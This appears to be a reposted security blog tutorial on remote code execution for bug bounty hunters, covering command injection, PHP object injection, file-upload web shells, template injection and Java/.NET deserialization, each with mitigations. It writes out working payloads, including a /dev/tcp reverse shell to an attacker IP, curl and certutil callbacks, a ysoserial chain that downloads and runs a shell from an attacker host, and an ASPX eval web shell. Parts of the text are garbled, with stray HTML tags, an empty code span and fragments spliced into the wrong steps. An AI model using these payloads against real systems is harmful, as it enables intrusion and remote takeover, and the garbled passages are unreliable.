Listen to this Post

Introduction:
Remote Code Execution (RCE) remains one of the most critical vulnerabilities in modern web applications, allowing attackers to run arbitrary commands on a target server. For bug bounty hunters and security professionals, mastering RCE techniques—from command injection and deserialization flaws to Server‑Side Template Injection (SSTI)—transforms a standard assessment into a high‑impact discovery. This article distills the best community‑curated resources and provides hands‑on, step‑by‑step guides to help you understand, exploit, and mitigate RCE across Linux, Windows, cloud, and API environments.
Learning Objectives:
- Identify and exploit command injection vulnerabilities on both Linux and Windows systems.
- Understand PHP generic gadget chains, object injection, and file‑upload to RCE vectors.
- Execute SSTI and deserialization attacks against Java/.NET targets with practical commands and tool configurations.
You Should Know:
- Command Injection & RCE on Linux and Windows
Command injection occurs when unsanitized user input is passed directly to a system shell. To test for it, use time‑based payloads and output redirection. For Linux, try:
`; sleep 5 &` or `| ping -c 5 attacker.com`
For Windows, use:
`& timeout 5 &` or `| ping -n 5 attacker.com`
A reliable approach is to inject a benign command that writes a unique file:
`; echo RCE_TEST > /tmp/rce.txt` (Linux)
`& echo RCE_TEST > C:\temp\rce.txt` (Windows)
Then verify its existence. To automate testing, use `ffuf` or custom scripts. Mitigate by avoiding system(), exec(), and shell_exec(); use parameterized APIs or escapeshellarg().
Step‑by‑step guide:
- Step 1: Identify input fields (forms, headers, cookies) that reflect in system calls (e.g., ping, nslookup, file operations).
- Step 2: Inject a harmless delimiter:
;,|,&,$(),`, then a command likeecho INJECTED. - Step 3: Use out‑of‑band (OOB) detection if no direct output: `; curl http://your-collaborator.com` (Linux) or `| certutil -urlcache -f http://your-collaborator.com rce.txt` (Windows).
- Step 4: For blind injection, use time delays: `; sleep 10` → measure response time.
- Step 5: Once confirmed, escalate to reverse shell: `; bash -i >& /dev/tcp/attacker-ip/4444 0>&1` (Linux) or PowerShell one‑liner (Windows).
2. PHP Generic Gadget Chains & Object Injection
PHP object injection (insecure unserialize()) can lead to RCE via gadget chains—sequences of existing class methods that execute dangerous actions. The linked resource (PHP Generic Gadget Chains) provides pre‑built chains for popular frameworks (Laravel, Symfony).
Example vulnerable code:
`$data = unserialize($_COOKIE[‘user’]);`
Attackers craft a serialized object with a gadget chain that calls `__destruct()` or `__wakeup()` to trigger exec().
Step‑by‑step guide:
- Step 1: Enumerate installed PHP frameworks and libraries via
composer.json, error messages, or headers. - Step 2: Use tool `PHPGGC` (PHP Generic Gadget Chains) to generate payload:
`./phpggc Laravel/RCE5 system “id” -b` (base64 encoded for cookie). - Step 3: Inject the payload into the vulnerable parameter (e.g., cookie, input JSON).
- Step 4: Observe command execution (e.g., `id` output in logs or response).
- Step 5: Mitigation: never unserialize user input; use
json_encode/json_decode; enable `allowed_classes=false` in PHP 7+.
3. File Upload to RCE
Uploading a malicious file (e.g., .php, .jsp, .aspx) that the server executes is a classic RCE vector. Bypass techniques include double extensions (shell.php.jpg), MIME‑type spoofing, and embedding code in metadata (e.g., EXIF).
Test command: create a PHP web shell:
``
Save as shell.php. Try to upload and then access http://target/uploads/shell.php?cmd=id`.<%@ Page Language="Jscript" %><% eval(Request.Item["cmd"],"unsafe"); %>`
<h2 style="color: yellow;">For Windows ASPX:</h2>
<h2 style="color: yellow;">
Step‑by‑step guide:
- Step 1: Identify upload functionality—profile pictures, document uploads, etc.
- Step 2: Attempt straightforward `.php` upload; if blocked, rename to `shell.php.jpg` or `shell.php%00.jpg` (null byte injection).
- Step 3: Set `Content-Type: image/jpeg` while keeping PHP code.
- Step 4: If the server renames files, try path traversal: `../../shell.php` so it lands in a web‑accessible directory.
- Step 5: After successful upload, locate the file (by brute‑forcing or guessing folder) and execute commands via HTTP GET. Mitigation: store files outside webroot, validate MIME by content, rename files randomly, and disable script execution in upload directories.
4. Server‑Side Template Injection (SSTI)
SSTI occurs when user input is embedded unsafely into a template engine (Twig, Jinja2, FreeMarker, Velocity). Attackers inject template syntax to read code, execute system commands, or achieve RCE.
Test payload for Jinja2 (Python Flask):
`{{ config }}` to leak settings, then `{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘id’).read() }}` for RCE.
For Twig (PHP):
`{{ _self.env.registerUndefinedFilterCallback(“exec”) }}{{ _self.env.getFilter(“id”) }}`
Step‑by‑step guide:
- Step 1: Find inputs that are reflected in templates (e.g., name on a “Welcome, {{name}}” page).
- Step 2: Probe with simple math: `{{ 77 }}` → if returns 49, SSTI confirmed.
- Step 3: Enumerate the engine by trying engine‑specific syntax (e.g., `${77}` for FreeMarker, `{{77}}` for Jinja/Twig).
- Step 4: Use pre‑built SSTI payloads from `tplmap` tool:
`./tplmap.py -u “http://target/page?name=John” –os-cmd “whoami”`
– Step 5: For RCE, inject a reverse shell payload tailored to the backend language. Mitigation: never concatenate user input into templates; use sandboxed rendering or context‑safe output.
5. Java / .NET Deserialization
Insecure deserialization in Java (e.g., ObjectInputStream.readObject()) and .NET (e.g., BinaryFormatter) allows attackers to craft objects that execute arbitrary code. Tools like `ysoserial` generate gadget chains for many libraries (CommonsCollections, Groovy, etc.).
Example command for Java:
`java -jar ysoserial.jar CommonsCollections5 “calc.exe” | base64` (Windows target)
Send the serialized payload via cookie, POST body, or request header.
Step‑by‑step guide:
- Step 1: Identify endpoints that accept serialized data (e.g., `application/x-java-serialized-object` headers, JSF
ViewState, cookies like `JSESSIONID` with large base64). - Step 2: Use `ysoserial` to list available gadgets: `java -jar ysoserial.jar`
– Step 3: Generate payload for your target’s library (detect via classpath leaks or version differences):
`java -jar ysoserial.jar CommonsCollections6 ‘wget http://attacker/shell -O /tmp/shell && bash /tmp/shell’ | base64 -w 0`
– Step 4: Inject the payload into the vulnerable parameter. Use OOB if no direct response. - Step 5: Mitigation: avoid deserializing untrusted data; use safe formats like JSON; implement a whitelist using
ValidatingObjectInputStream; use Java 17+ with filtered deserialization (jdk.serialFilter).
6. API Security & Cloud Hardening Against RCE
Modern RCE often targets APIs and cloud functions. For REST APIs, injection can occur via JSON parameters, HTTP headers, or GraphQL queries. Cloud environments (AWS Lambda, Azure Functions) are vulnerable to command injection through environment variables or event data.
Example: a vulnerable Node.js API:
`const { exec } = require(‘child_process’); exec(‘ping ‘ + userInput);`
Attacker input: `127.0.0.1; curl http://malicious.com`
To harden, use AWS WAF rules that block shell metacharacters, enforce input validation with allow‑lists, and run cloud functions in minimal containers (AWS Lambda with read‑only root).
Step‑by‑step guide:
– Step 1: Scan API endpoints using `Burp Suitewith custom intrusion payloads (list of RCE delimiters).child_process
- Step 2: For GraphQL, test arguments that might be passed to `exec` or.ssm:SendCommand`).
- Step 3: In cloud environments, check for over‑privileged IAM roles that a compromised function could abuse (e.g.,
– Step 4: Use `trivy` or `checkov` to scan infrastructure‑as‑code for injection risks.
– Step 5: Implement runtime protection using `sysdig` or `Falco` to detect and block anomalous command executions.
What Undercode Say:
- Mastering RCE requires understanding the underlying execution context—tools like ysoserial and PHPGGC are only starting points; real impact comes from chaining multiple low‑severity issues into full RCE.
- Proactive mitigation is possible: input validation, least privilege, and safe deserialization libraries (like `jackson` with `enableDefaultTyping()` disabled) can stop most common RCE vectors.
Prediction:
As serverless and AI‑driven code generation become mainstream, RCE vulnerabilities will shift from traditional web shells to injection in LLM‑generated code pipelines and event‑driven architectures. Bug bounty hunters will need to master container breakout techniques and RCE via cloud metadata APIs. The arms race between automated scanning and manual gadget‑chain crafting will intensify, but those who deeply understand memory corruption and language internals will continue to dominate.
▶️ Related Video (84% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Amitkumar711 Bugbounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


